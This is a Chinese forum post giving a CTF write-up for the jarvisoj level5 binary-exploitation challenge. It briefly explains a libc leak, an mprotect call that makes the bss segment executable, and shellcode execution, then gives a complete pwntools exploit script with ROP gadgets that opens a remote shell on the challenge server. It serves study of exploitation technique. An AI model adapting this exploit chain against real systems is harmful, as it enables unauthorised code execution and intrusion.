首页
论坛
课程
招聘
[原创]jarvisoj_level5
2019-12-30 20:10 3622

[原创]jarvisoj_level5

2019-12-30 20:10
3622

泄露获取libc–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。

mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。

#coding:utf-8
from pwn import *
#64位函数的参数传递顺序和32位不同,
#而是从第一个到第六个依次保存在rdi,
#rsi,rdx,rcx,r8,r9,第七个参数开始才放在栈上。
p = remote("pwn2.jarvisoj.com",9884)
#p = process("./level3_x64")
elf = ELF("./level3_x64")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('libc-2.19.so')
context(arch='amd64', os='linux',word_size='64')
shellcode = asm(shellcraft.sh())
#shellcraft.amd64.sh()
#0x00000000004006b1 : pop rsi ; pop r15 ; ret
#0x00000000004006b3 : pop rdi ; ret
pop_rdi = 0x4006b3
pop_rsi = 0x4006b1

payload = 0x88 * 'a' + p64(pop_rsi) + p64(elf.got["write"]) + p64(0) + p64(pop_rdi) + p64(1) + p64(elf.symbols["write"]) + p64(elf.symbols["_start"])
p.recv()
p.sendline(payload)
write_addr = u64(p.recv(8))
libc_base = write_addr - libc.symbols["write"]
mprotect_addr = libc_base + libc.symbols["mprotect"]
print hex(write_addr)
print hex(libc_base)
print hex(mprotect_addr)
print hex(elf.bss())
########### read shell code to bss
payload = 0x88 * 'a' + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(elf.bss()) + p64(0) + p64(elf.symbols["read"]) + p64(elf.symbols["_start"])
p.recv()
p.sendline(payload)
p.sendline(shellcode)
##为什么要把bss和mprotect写入got表
###########write bss to got table
bss_got = 0x600A48
payload = 0x88 * 'a' + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_got) + p64(0) + p64(elf.symbols["read"]) + p64(elf.symbols["_start"])
p.recv()
p.send(payload)
p.send(p64(elf.bss()))
###########call其他函数需要在got表中存有,可以添加在got表中空闲处。而像level1那样直接修改返回地址则不需要添加进got表。

###########write mprotect to got table
mprotect_got = 0x600A50
payload = 0x88 * 'a' + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(mprotect_got) + p64(0) + p64(elf.symbols["read"]) + p64(elf.symbols["_start"])
p.recv()
p.send(payload)
p.send(p64(mprotect_addr))


payload = 0x88 * 'a' + p64(0x4006A6) + "ret_addr" + p64(0) + p64(1) + p64(mprotect_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload += p64(0x400690)
payload += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload += p64(0x400690)
p.recv()
p.send(payload)

p.interactive()


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回